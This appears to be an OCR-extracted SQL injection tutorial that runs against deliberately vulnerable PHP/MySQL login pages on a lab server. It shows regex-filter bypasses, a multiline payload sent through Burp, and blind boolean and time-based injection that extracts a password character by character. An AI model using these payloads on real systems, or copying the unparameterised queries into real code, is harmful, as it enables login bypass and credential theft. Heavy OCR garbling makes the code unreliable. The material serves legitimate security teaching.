$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
i1f (!Scon) {
echo ("Connection ERROR");
die (print r (mysqgli error ($con)));
}
if ('preg match("/[0-9]+$/", $_POST["userid"])) {
die ("ONLY numbers allowed") ;
}
Squery = "SELECT * FROM tbll WHERE id=" . $_POST["userid"] . " AND
password="'" . mysgli real escape string($Scon, $ POST["password"])



wuv .,
14 14

$stms = mysqgli query(Scon, S$query);

if ($stms === false) {
echo ("ERROR during query execution: ");
die(print r (mysgli error($con)));

}
$row = mysqli fetch array($stms, MYSQLI ASSOC);
if (Srow) {
die ("Logged in");
}
else/{
die ("Wrong username or password");}
?>

File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7

cHHERLB s Bb/ociag x| BRI EEELD & EHBE
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1 [H<?php

2 Sdbname = "a";

3 Sdbusername = "root™;

B Sdbpassword = "";

5 Sdbsrvname = "127.0.0.1";

G Scon = mysqli connect ($dbsrvname, $dbusername, $dbpassword, $dbname);
7 Hif (!Scon){

8 echo ("Connection ERROR") ;

3 die{print_;{mysqli_errcr{$ccn)}};

10 R

11 [Hif (!preg match("/[0-%]1+$/", $ POST["userid"])) {
12 die ("ONLY number=s allowed");

13 B

14 Squery = "SELECT * FROM thll WHERE id="

15 $ POST["userid"] . "™ AND password='"

16 mysqli_real_escape_string{$ccn, $_POST[“pa55WDrd"]} Wi g g
17 Sstms = mysgli gquery{Scon, S$gquery);

182 [Hif ($stms === false) |

15 echo ("ERRCR during guery execution: ");
20 die (print r(mysgli error(Scom)));
21 [}
22 Srow = mysqli fetch array($stms, MYSQLI ASS0C);
23 [HAf (Srow) |
24 die ("Logged in");
25 R
26 [Helse]
27 I die("Wrong username or password");}
28 E

In this example we use the following regular expression:



[0-9]+$

In this case we check only if the input string ends with number. If we use the previous example 1 OR
1=1#

eo @ http://192.168.168.111:8888/mysql/sql11/sgl.html

UserID: [1 OR 1=1#
Pazsword: |

It does not end with a number, but a hashmark, so it will not work:

e@ @ http://192.168.168.111:8888/mysql/sql11/sql.php

ONLY numbers allowed

But the solution is easy. We can write a number to the end. It is unimportant what we write after the
comment sign. So we can try the 1 OR 1=1#1 as userid:

ee (2 http://192.168.168.111:3888/mysql/sql11/sgl.html

UserID: [1 OR 1=1#1 X

Paszword: |

What will work as expected

e @ (22 http://192.168.168.111:3888/mysql/sql11/sql.php

Logged in




Classic login screen with bad numeric regexp filter unnecessary multiline

The idea is to check both the start and the end of the string. In this case there can be a problem if the
regular expression accepts multiline input. To try it use the following code as sql.html

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User ID: <input type="text" id="userid" name="userid"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

"

File Edit Search View Encoding Language Settings Macro Run Plugins  Window 7

DR ERRE| dimR| 2 fy|ax | BEE | =1 EERA| @

[=] sgl html tﬂl | sql php |
1 <citlexmylogin</cicles
2 <body>
3 <form action="ggl.php" method="PO5T">
4 Oser ID: £InpUt tyvpe="text" id="ngerid" name="pzserid"fE<br/>

o Password: <input type="password" id="password" name="password"/><br/>
& <input type="submit" value="send">

T </ form>

B </ body>

And the this one as sql.php:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
i1f (!Scon) {
echo ("Connection ERROR");
die (print r (mysqgli error ($con)));
}
if ('preg match("/~[0-9]1+$/m", $ POST["userid"])) {
die ("ONLY numbers allowed") ;
}
Squery = "SELECT * FROM tbll WHERE id=" . $_POST["userid"] . " AND
password="'" . mysgli real escape string($Scon, $ POST["password"])



wuv .,
14 14

$stms = mysqgli query(Scon, S$query);

if ($stms === false) {
echo ("ERROR during query execution: ");
die(print r (mysgli error($con)));

}
$row = mysqli fetch array($stms, MYSQLI ASSOC);
if (Srow) {
die ("Logged in");
}
else/{
die ("Wrong username or password");}
?>

File Edit Search View Enceding Language Settings Macre Run  Plugins Window 7

HHEREGa smb|oe|ayg|ax BE T1EZFERFEN®E
Esalohp 0]

1 [H<?php

2 Sdbname = "a";

3 Sdbusername = "root";

e Sdbpassword = "";

5 Sdbsrvname = "127.0.0.1";

& Scon = mysqgli connect (Sdbsrvname, Sdbusername, S$dbpassword, Sdbname);
7 Hif (!Scon){

a echo ("Connection ERRCOR™) ;

g die{print_;{mysqli_errcr{$ccn]}};
. ]
11 Hif (!preg match("/~[0-9]+5/m", $ POST["userid"]))/{
12 die ("ONLY numbers allowed");
. ]
14 $query = "SELECT * FROM tbll WHERE id="

15 £ POST["userid"] . " AND password='"

16 mysgli real escape string(Scon, $ POST["password"]) . "';";
17 Sstms = mysqli query($con, Squery);

182 [Hif (S$=tm= ——= false) |

19 echo ("ERROR during gquery execution: ");
20 die{print_;{mysqli_errcr{$ccn]}};
S L]
22 Srow = mysqgli fetch array($stms, MYSQLI ASS0C);
22 [Hif (Srow) |
24 die("Logged in");
950 H
26 [Hel=se{
27 I die("Wrong username or password") ;]

28 S




Now the regular expression is:
/0-9]+$/m

It checks if the whole line contains only numbers. If we use the same input like before 1 OR 1=1#1 as
userid:

ee = http://192.168.168.111:8888/mysql/sql12/sql.html

User ID: [1 OR 1=1#1

Password: |

It will not work:

e(_. )| & hittp://192.168.168.111:2888/mysql/sql12/5ql.php

ONLY numbers allowed

But the problem is that this regular expression accepts multiple lines. This means it is enough to have
one line from multiple lines, which contains only numbers. For example if we entered an input like
this:

1 OR 1=1#
123

it is just fine. But it will not work. We get the following SQL query:

SELECT * FROM tbl1 WHERE id=1 OR 1=1#
123 AND password="";

The problem is that the hash mark, or the minus minus comments only until the end of the actual line.
So the 123 will be an SQL instruction in the next line, just like the ' AND password=". We were not
able to comment the 123 and it will give us a syntax error.

To avoide this situation we can use the /**/ as comment sign, because by the help of it we will be able
to comment multiple lines like these:

1 OR 1=1/*

123

*/

In this case we get the following SQL query:

SELECT * FROM tbl1 WHERE id=1 OR 1=1/*



123
*/ AND password="";

The problem is that we can not enter multiple lines to this input. So just write it as one line, but use the
Burp proxy to intercept the data.

ee = http:(/192.168.168.111:8888/mysql/sql12/sql.html

User ID: |1 OR 1=1/*123%/

Paszword: |

send

In the burp proxy we will see that our input

1 OR 1=1/*123%/

is URL encoded, the = changed to %3D, the space changed to +, and the / changed to %2F, so it looks
like this:

1+OR+1%3D1%2F*123*%2F

We must add a newline %0A character after the first start, and before the second start, to have a line
that contains only numbers:

1+OR+1%3D1%2F*%0A123%0A*%2F

It can be seen on the next picture:



Burp Intruder Repeater Window Help

[ Target T Praxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender IGptinnﬁ T Aler

_[ Intercept T HTTP history T WebSockets history Tﬂlpﬁnns ]

# | Request to http://192. 188 .1688.111:8828

[ Forward J l Drop J | Intercept is on Action

_[RawTF"a:amsTHEadersTHex]

POST /mysql/sqll2/sgl.php HTTP/L.1

Accept: text/html, application/xhtml+xml, */ %

Feferer: http://192.188.168. 1118888/ mysql/aqll2/3ql. html
Aocept-Language: =n-1U3

Content-Type: application/x-www—-form-urlencoded
Uzer—Agent: Mozilla/5.0 (Windows NT £.3; WOWe4; Trident/7.0; rv:ll.0) like Gecko
Accept-Encoding: gzip, deflate

Host: 19Z2.168.1e8.111:8888

Content-Length: 38

Proxy-Connection: Eeep-Aliwve

Pragma: no-cache

Cookie: PHPSESSID=llinvtvrdsigqridkmSdvikslsT7

Userid=1l+0B+1%3D152F*50A123%0A%52F epassword=

And as we expected we are able to log in again.

e@ (22 http://192.168.168.111:8888/mysql/sql12/sql.php

Logged in




Blind SQL injection

Another widely used technique in case of SQL injection is the blind SQL injection. We use it if there is
no text output, but we want to read some data from the database. To learn the technique we will use the
first example. The sql.html in that case was the following:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
size="120"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

oy

File Edit 5Search View Encoding Language Settings Macre Run Plugins  Window 7

|soBeRGAl{MD|acin%| x| BRI 1 [FoEA|EEE
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1 ktitle}mx;gg;g<ftitle>
2 <body>

= <form action="ggl.php" method="POST">

;. User Name: <input tyvpe="text" id="pgername" name="gpsername"/><br/>
Password: <input tvpe="password" id="password" name="password"/><br/ >
<input type="submit" value="send">

</ form>

8 </body>

o

And the code of the sql.php was the following:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, Sdbpassword, S$dbname);
if (!$con) {
echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
Squery = "SELECT * FROM tbll WHERE username='" .
$ POST['username'] . "' AND password="'

$ POST['password'] . "';";



$stms = mysgli query(Scon, S$query);

if ($stms === false) {
echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));

}
$row = mysqgli fetch array($stms, MYSQLI ASSOC) ;
if (Srow) {
die('Logged in'");
}
else({
die ('Wrong username or password');

}

7>

File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7

cHEERGEE sahoeagxx BRI 1EFERD @ E B N E

[=] =ql.php E]l
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root";
4 Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysgli connect ($dbsrvname, $dbusername, Sdbpassword, S$dbname);
T Hif (!Scon) |
a echo ('Connection ERROR');
g die {print_r{mysqli_errcr {(Scon) ) ) ;
10 1
11 Sguery = "SELECT * FROM tbll WHERE username="" .
12 & POST[ !ugssrnamesl] - "' AND password='"
13 & POST['password'] . "';";
14 fatms = mysqli query($con, Squery);
15 [Hif (S=tm= === false) |
16 echo ("ERROR during query execution: ');
17 die {print_r{mysqli_errcr (Scon) ) ) ;
18 1
19 Srow = mysqgli fetch array($stms, MYSQLI ASS0C);
20 [Hif (Srow) |

21 die('Logged in'");

22 'l

22 [Helse/{

24 die ('Wrong ygssiname or password');
25 21

26 - 2=

In this case we have already known how to bypass this logon screen to enter. But now let us imagine
that we have another task. Let us suppose we know a valid username, and we want to know the



password that belongs to that user. Remember, we do not want to log on now, but we want to read an
arbitrary data stored in the database.

In this case our purpose is to get a binary output from the SQL injection. First test, if it is possible.
We know a valid username: name

And we know that we were able to login by the help of OR 1=1#

So if someone enters:

name' OR 1=1#

then obviously bypasses the login screen, but this is not the purpose now. Try instead the following:
name' AND 1=1#

what contains an always true logical expression.

Ge = http://192.168.168.111:3888/mysql/sql1/sql.html

Uszer Name: |name' AND 1=1#

Paszword: |

And we are logged in. The query in this case looked like this:

SELECT * FROM tbll WHERE username='name' AND l=1l#password='"',

(- )| & hitp://192.168.168.111:3888/mysql/sql/sql.php

Then try the name' AND 1=2# input, what contains an always false logical expression.

e o (22 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |name' AND 1=2#
Paszsword: |

send




The query in this case was:

SELECT * FROM tbll WHERE username='name' AND l=2#password='"',

And in this case we were not able to log in:

[\. '_>\I = http://192.168.168.111:8838/mysql/sql1/sql.php

Wrong username or password

As we can see if we write a logical expression after the AND we get different result screen when the
expression is true and whem it is false.

It is fine. Now our purpose is to get the password of the user. Then try the different passwords on the
way:

name' AND password='a'#

eo @ hitp://192.168.168.111:8888/ mysql/sql1/sqLhtml

User Name: |n ame' AND password="a'§

Password: |

The query now looks like this:

SELECT * FROM tbll WHERE username='name' AND
password='a'#password="",

Now if the password is a we will be able to login.If it is not a we will not succeed.

[: :fl (= http://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password

We were not able to login so the password is not a. Now one can try the other characters, just like in a
brute force testing.

The problem with this method is the speed. If we calculate with an average user that uses small letter,
capital letter, and numbers in the password, and suppose the password length is 8 characters, then the

number of combinations is 62° what is quite a large number. Let us try to decrease it.

There is an SQL instruction, the SUBSTRING. It requires three parameters: 1.) the string from which



we cut a sub string, 2.) a number from which position, 3.) another number that indicates how many
characters we want to get back. So the test string changes to:

name' AND SUBSTRING (password,l,l)='a'#

By the help of this we can query the characters of the password one by one. It means that instead of the
previous 62° the number of required steps will be 62*8 only.

The SQL query in this case will be the following:

SELECT * FROM tbll WHERE username='name' AND
SUBSTRING (password,1,1)="a'#password="",

eo = http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |name' AND SUBSTRING(password.1.1)="a'#
Password: |

But how can we extend the method even better? There is another SQL instruction, called ASCII. It
converts a character to its ASCII code. The test string changes to the following:

name' AND ASCII (SUBSTRING (password,1l,1))=65#

By this method we can test the special characters as well. So the number of combinations increases to
256*8. But for this increase we are not limited to alphanumeric characters. The SQL query will be this:

SELECT * FROM tbll WHERE username='name' AND
ASCII (SUBSTRING (password,1l,1) )=65#password="",

e e 2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |name' AND ASCINSUBSTRING(password.1,1))=65#
Password: |

send

We were not able to log in so the first character is not the letter a.

'\ | & http://192.168.168.111:3888/mysql/sql/sql.php

Wrong username or password

Now we test numbers, so we can naturally use the binary search, what speeds up the process. Instead of



the = sign use the < or > signs. The test string changes to:

name' AND ASCII (SUBSTRING (password,1l,1))>128#

On this way the number of combinations changes again. It is 8*log,(256) = 64. So with 64 commands
we will be able to get an 8 characters long password.

The built query will be this:

SELECT * FROM tbll WHERE username='name' AND
ASCII (SUBSTRING (password,1l,1))>128#password="",

eo (2 http://192.168.168.111:3888/mysql/sql1/5g].html

User Name: |name' AND ASCI{SUBSTRING(password.1,1))=128#

Paszword: |

send

We get the following result:

a.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password

It means the ASCII code of the first character is not bigger than 128. Now half the remaining region. So
we should use the next test string:

name' AND ASCII (SUBSTRING (password,1l,1))>64#

eo (2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |name' AND ASCI{SUBSTRING(password.1.1))=64#

Password: |

send

We get the following result:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in



This is the true screen so the ASCII code of the first character is greater than 64 but not greater than
128. We must half this region. To do it use the following test string:

name' AND ASCII (SUBSTRING (password,1,1))>96#

ae 2 http://192.168.168.111:3888/ mysql/sql1/sql.html

User Name: |name' AND ASCI{SUBSTRING(password.1.1))=96#

Paszword: |

send

We get the following result:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 96, but not greater than
128. We must half this region. To do it use the following test string:

name' AND ASCII (SUBSTRING (password,1l,1))>112#

ee =2 http://192.168.168.111:3888/mysql/sql1/sgl.html

User Name: |name' AND ASCI{SUBSTRING(password.1.1))=112#

Paszword: |

send

We get the following result:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

This is the false screen Wrong username or password



so the ASCII code of the first character is greater than 96, but not greater than 112. We must half this
region. To do it use the following test string:

name' AND ASCII (SUBSTRING (password,1l,1))>104#

ee 2 http://192.168.168.111:3888/ mysql/sql1/sgl.html

User Name: |name' AND ASCI{SUBSTRING(password.1,1))=104#

Paszword: |

send

The result is:

e|;=>:| 2 http://192.168.168.111:3888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 104, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII (SUBSTRING (password,1l,1))>108#

e o 2 http://192.168.168.111:3888/mysql/sql1/sql.html

User Name: |name' AND ASCI{SUBSTRING(password.1,1))=108#

Password: |

send

The result is:

e|<=>:| (2 http://192.168.168.111:8888/ mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 108, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1))>110#



eo @ http://192.168.168.111:8888/mysql/sql/sql.hteml

User Name: |name' AND ASCH{SUBSTRING(password.1.1))=110#

Pazzword: |

send

The result is:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 110, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1))>111#

eo @ http://192.168.168.111:8888/mysql/sql/sql.html

User Name: |name' AND ASCI{SUBSTRING(password,1,1))=111#

Pazzword: |

send

The result is:

e.@. @ http://192.168.168.111:8888/mysql/sql/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 111, but not greater than
112. It means the first character of the password is the ASCII 112 what is the p letter:

110 6E 155 «#110; 1
111 6F 157 &#lll; o
112 70 1g0 &#llZ; b
113 71 1s1 &#113: O
114 72 162 «#lld; T

Lo Ea T By ~&87T1Ca

One might ask, how do we know the names of the column. Later we will solve this problem, now just
leave it in this way.



Blind SQL injection without less than and greater than signs

As we can see the smaller and greater than signs are important for the blind SQL injection, but in many
cases we can not use them, because these are escaped. For example as an XSS defense. To try it we use
the same code as before, just we should not write < or > signs. The code of the sql.html:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
size="120"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" value="send">
</form>
</body>

e
File Edit Search View Enceding Language Settings Macre  Run Plugins  Window 7
|sEReELaldimbDaean|cxx BRI 1) EEA|I® ® D
[=] sql html tﬂl

1 <titlexmylogin</cicles

2 <body>

3 <form action="ggl.php" method="POST">

;! User Name: <input type="text" id="gsername" name="gzername" size="T70"/><br/>
5 Password: <input tyvpe="password" id="password" namse="password"/><br/ >
6 <input tyvpe="submit" value="zend":»>
</ form>
g “</bodyy

The sql.php is the following:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqgli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
if (!Scon) {

echo ('Connection ERROR');

die(print r (mysgli error ($con)));
}
$query = "SELECT * FROM tbll WHERE username='" . $ POST['username']
"' AND password='" . $ POST['password'] . "';";
$stms = mysgli query(Scon, S$Squery);
1f ($stms === false) {



echo ("ERROR during query execution: ');
die(print r (mysgli error($con)));
}
$row = mysqli fetch array($stms, MYSQLI ASSOC);
if (Srow) {
die ('Logged in');
}
else(
die ('Wrong username or password');

}

?>

File Edit Search View Enceding Language Settings Macre Run  Plugins Window 7

cHEERLER sahoeag 2 BRI ERED O ENNE

[=] sgl.php E:!l
1 [<?php
2 Sdbname = "a";
3 Sdbusername = "root";
E Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysgli connect(Sdbsrvname, $dbusername, Sdbpassword, S$dbname);
7 Hif (!Scon)
a8 echo ("Connection ERRCR') ;
9 die (print r(mysgqli error(Scomn)));
10 1
11 Squery = "SELECT * FROM tbll WHERE username='" .
12 & Po3T[ ugssrname.] - "' AND password=""
13 & Po3T['password'] . "';";
14 S$stms = mysgli query($con, Squery);
15 [Hif ($Sstms —— false) |
16 echo ("ERROR during gquery execution: ');
17 die {print_r{mysqli_errcr {(Scon) ) ) ;
18 [}
15 Srow = mysgli fetch array(Sstms, MYSQLI ASS0C);
20 Hif (Srow){
21 die('Logged in'");
22 B
22 [Hel=se{
24 die ("Wrong yssrnane or password');
23 1
26 ]

If we are not able to use the smaller and greater signs one can try the BETWEEN ... AND ... clause in
the SQL. Our test string will be this:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 200#



The query string in this case is:

SELECT * FROM tbl1 WHERE username="name' AND ASCII(SUBSTRING(password,1,1))
BETWEEN 100 AND 200#password="";

eu@u & http://192.168.168.111:8888/mysql/sql1/sgl.htm] P~

User Name: |name' AMD ASCI[SUBSTRING(password,1,1)) BETWEEN 100 AND 200#

Password: |
send

The result is:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 100, but not greater than
200. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 150#

eo & http://192.168.168.111:8888/mysql/sql1/sgl.html Jo R v
User Name: |name' AND ASCH(SUBSTRING(password.1,1)) BETWEEN 100 AND 150#
Password: |

send

The result is:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 100, but not greater than
150. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 125#



eo 2 http://192.168.168.111:8888/mysql/sql1/sgl.html L~-a

User Name: |name' AND ASCISUBSTRING(password,1,1)) BETWEEN 100 AMD 125#
Password: |

send

The result is this:

G.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 100, but not greater than
125. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 112#

eo & http://192.168.168.111:3888/mysql/sgl1/sgl.html P~c
User Name: |name' AND ASCI[SUBSTRING(password.1,1)) EETWEEN 100 AND 112%
Password: |

send

The result is this:

e |@| 2 http://192.168.168.111:3888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 100, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 106#



eo @ http://192.168.168.111:8888/mysql/sql/sql.html p~c

User Name: |name' AND ASCI[SUBSTRING({password,1,1)) BEETWEEN 100 AND 106#
Password: |

send

The result is:

e.@. @ http://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password

This is the false screen so the ASCII code of the first character is greater than 106, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 106 AND 112#

eo 22 http://192.168.168.111:8888/mysql/sql1/sql.htrnl L~-a
User Name: |name' AND ASCISUBSTRING(password,1,1)) BETWEEN 106 AMD 112#
Password: |

send

The result is this:

e.@. @ http://192.168.168.111:2888/mysql/sql/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 106, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 109 AND 112#



ee @ http://192.168.168.111:8888/mysql/sql1/sqlhtml o-c

User Name: |name' AND ASCI[SUBSTRING(password.1,1)) BETWEEN 109 AND 112#

Password: I

send

The result is:

e@ @ http://192.168.168.111:8888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 109, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 111 AND 112#

eo &2 http://192.168.168.111:8888/mysql/sql1/sgl.html P2~-0a
User Name: |name' AND ASCI(SUBSTRING(password.1,1)) BETWEEN 111 AND 112#
Password: |

send

The result is:

e @ 2 http://192.168.168.111:3888/mysql/sgl1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is greater than 111, but not greater than
112. We must half this region. To do it use the following test string:

name' AND ASCII(SUBSTRING(password,1,1)) BETWEEN 112 AND 112#



ee @ http://192.168.168.111:8888/mysql/sql1/sql.html p-e

User Name: |name' AND ASCI[SUBSTRING(password.1,1)) BETWEEN 112 AMD 112#

Paszword: I

send

The result is this:

e @ (=2 http://192.168.168.111:3888/mysql/sql1/sql.php

Logged in

This is the true screen so the ASCII code of the first character is 112.

One might ask, how do we know the names of the column, and the name of the table. Later we will
solve this problem, now just leave it in this way.



Time based blind sql injection

There can be situations when we do not find any difference between a true and a false screen, but there
is an SQL injection. To test this situation use the same code as before. So the sql.html is:

<title>mylogin</title>
<body>
<form action="sgl.php" method="POST">
User Name: <input type="text" id="username" name="username"
size="120"/><br/>
Password: <input type="password" id="password"
name="password"/><br/>
<input type="submit" wvalue="send">
</form>
</body>

o

File Edit 5Search View Enceding Language Settings Macre Run Plugins  Window 7

|coReEGAaliMDoean| x| B3 1FEELCEDE

EﬂquﬂmIEﬂ
1 <titlermyleogin</ticles
2 <body>

= <form action="ggl.php" method="POST">

: User Name: <input type="text" id="gpsername" name="gsername” size="T0"/><br/>
Password: <input tyvpe="password" id="password" namse="password"/><br/ >
<input tyvpe="submit" value="zend":»>

</ form:>

B <fhody4

f

The sql.php is the following:

<?php

Sdbname = "a";
Sdbusername = "root";
Sdbpassword = "";
Sdbsrvname = "127.0.0.1";

$con = mysqli connect ($dbsrvname, Sdbusername, S$dbpassword, S$dbname);
if (!Scon) {
echo ('Connection ERROR') ;
die (print r (mysqgli error ($con)));
}
$query = "SELECT * FROM tbll WHERE username='" . $ POST['username']
"' AND password='" . $ POST['password'] . "';";
$stms = mysgli query(Scon, Squery);
if ($Sstms === false) {
echo ("ERROR during query execution: ');



die(print r (mysgli error($con)));
}
$row = mysqgli fetch array($stms, MYSQLI ASSOC) ;
i1f (Srow) {
die('Logged in'");
}
else(
die ('Wrong username or password');

}

7>

File Edit Search View Encoding Language Settings Macre Run  Plugins Window 7

cHEERGEE sahoeagxx BRI 1EFERD @ E B N E

[=] =ql.php E]l
1 [H<?php
2 Sdbname = "a";
3 Sdbusername = "root";
4 Sdbpassword = "";
5 Sdbsrvname = "127.0.0.1";
& Scon = mysgli connect ($dbsrvname, $dbusername, Sdbpassword, S$dbname);
T Hif (!Scon) |
a echo ('Connection ERROR'") ;
g die {print_r{mysqli_errcr {(Scon) ) ) ;
10 1
11 Sguery = "SELECT * FROM tbll WHERE username="" .
12 & POST[ ugsrname!] . "' AND password='" .
13 & POST['password'] . "';";
14 fatms = mysqli query($con, Squery);
15 [Hif (S=tm= === false) |
16 echo ( "ERROR during query execution: ");
17 die {print_r{mysqli_errcr (Scon) ) ) ;
18 1
19 Srow = mysqgli fetch array($stms, MYSQLI ASS0C);
20 [Hif (Srow) |
21 die('Logged in");
S99 |
22 [Helse/{
24 die('Wrong pssriname or password');
25 1
26 e

Now let us suppose that we do not see any difference between the true and the false screen. What to do
in such case? The answer is to make some difference. The way to make some difference is to play with
the time. For example we should reach a situation when for a true expression we got the answer slower
than for a false expression. In this case we do not need any difference on the screen. To do it write the
following string as username:



name' AND id=IF(1=1, BENCHMARK(500000000,MD5('A")),2);#
The SQL query will be:

SELECT * FROM tbll WHERE username='name' AND
id=IF(1=1,BENCHMARK(500000000,MD5('A")),2);#password="";

As we can see here we use an IF clause to write a logical expression. If the logical expression is true,
then we will calculate 50000000 times the MDS5 hash of the letter A. It will take some time. If the
expression is false, then we simply use the value 2, what does not take any time to substitute. So our
expectation is that if the expression is true, then we get the answer much later than if we write a false
logical expression. Our logical expression now is the 1=1 what considered to be true. So we expect to
get the answer after a significant delay.

e o =2 http://192.168.168.111:8888/mysql/sql1/sql.html

User Name: |nﬂme' AND id=IF{1=1.BENCHMARK (50000000 MD5('A").2)#
Password: |

After the send command we will get a waiting browser:

eo (= http://192.168.168.111:8888/mysql/sgl1/sql.html R n mylogin
User Name: Iname' AND id=IF({1=1 BENCHMARHK (50000000, MD5{'A").2)#
Password: |

Then a wrong username or password message, what we do not care about it at all.

[: :fl (= http://192.168.168.111:3888/mysql/sql1/sql.php

Wrong username or password

Then do the opposite test. Instead of the 1=1 true expression use the 1=2 always false logical
expression.

name' AND id=IF(1=2,BENCHMARK(500000000,MD5('A")),2);#

The SQL query will be:



SELECT * FROM tbll WHERE username='name' AND
id=IF(1=2,BENCHMARK(500000000,MD5('A")),2);#password="";

eo (2 http://192.168.168.111:2388/mys=ql/sql1/5g).html

User Name: [name’ AND id=IF(1=2,BENCHMARK(50000000, MD5('A')). 2):#

Paszword: |

send

Now we immediately get the wrong username windows, what we do not care about it at all. What is
important for us is that we get the answer immediately.

e(\_::}j 2 http://192.168.168.111:8888/mysql/sql1/sql.php

Wrong username or password

So by these two tests we can differentiate between a true and a false logical expression. So the situation
is the same what was during the blind SQL injection. Our task is to change the 1=1 expression in the [F
clause to contain the value we want to know.

name' AND
id=IF(ASCII(SUBSTRING(password,1,1))>128, BENCHMARK(500000000,MD5('A")),2);#

The SQL query will be:
SELECT * FROM tbll WHERE username='name' AND

id=IF(ASCII(SUBSTRING(password,1,1))>128, BENCHMARK(500000000,MD5('A")),2);#passw
ord="";

eo @ http://192.168.168.111:8888/mysql/sql1/sql.html P~ | & mylogin

User Name: [name' AND id=IF(ASCI(SUBSTRING (password. 1.1))>128 BENCHMARK(50000000.MD5(A")).2)-#
Password: |

We will get the answer immediately:

It means that our logical expression was false so the ASCII code of the first character of the password
is not greater than 128.



e|;=>:| 22 http://192.168.168.111:3888/mysql/sgl1/sql.php

Wrong username or password

Similarly to the previous example, if we have problem with the smaller than or greater than sign we can
use the BETWEEN ... AND ... clause.

name' AND id=IF(ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 200,
BENCHMARK(500000000, MD5('A")), 2):#

The SQL query will be:
SELECT * FROM tbll WHERE username='name' AND

id=IF(ASCII(SUBSTRING(password,1,1)) BETWEEN 100 AND 200,
BENCHMARK(500000000, MD5('A")), 2);#password="";

ee‘ 22 http://192.168.168.111:8888/mysql/sql1/sql.html L~ & | & mylogin

User Name: [name' AND id=IF(ASCII(SUBSTRING(password.1.1)) BETWEEN 100 AND 200.BENCHMARK(50000000.MD5('A)).2):#
Password: |

Now we will get the answer after a significant delay

e°| 2 http://192.168.168.111:8888/rmy=ql/sql1/sql.htrnl P~ X| ¢ mylogin

User Name: [name’ AND id=IF(ASCII{SUBSTRING(password.1.1)) BETWEEN 100 AND 200 BENCHMARK(50000000 MD5('A')).2).#
Password: |

We get the answer after a delay what means that our logical expression is true, so the ASCII code of the
first character of the password is greater than 100, but not greater than 200.

e(l::):l B http://192.168.168.111:3888 /mysql/sgl1/sgl.php

Wrong username or password

One might ask, how do we know the name of the column, and the name of the table. Later we will
solve this problem, now just leave it in this way.



SQL injection in order by

Until now we have examined examples where the problem was in the WHERE clause of the SQL
query. It is by far the most common place, where the SQL injection problem can appear, it is less
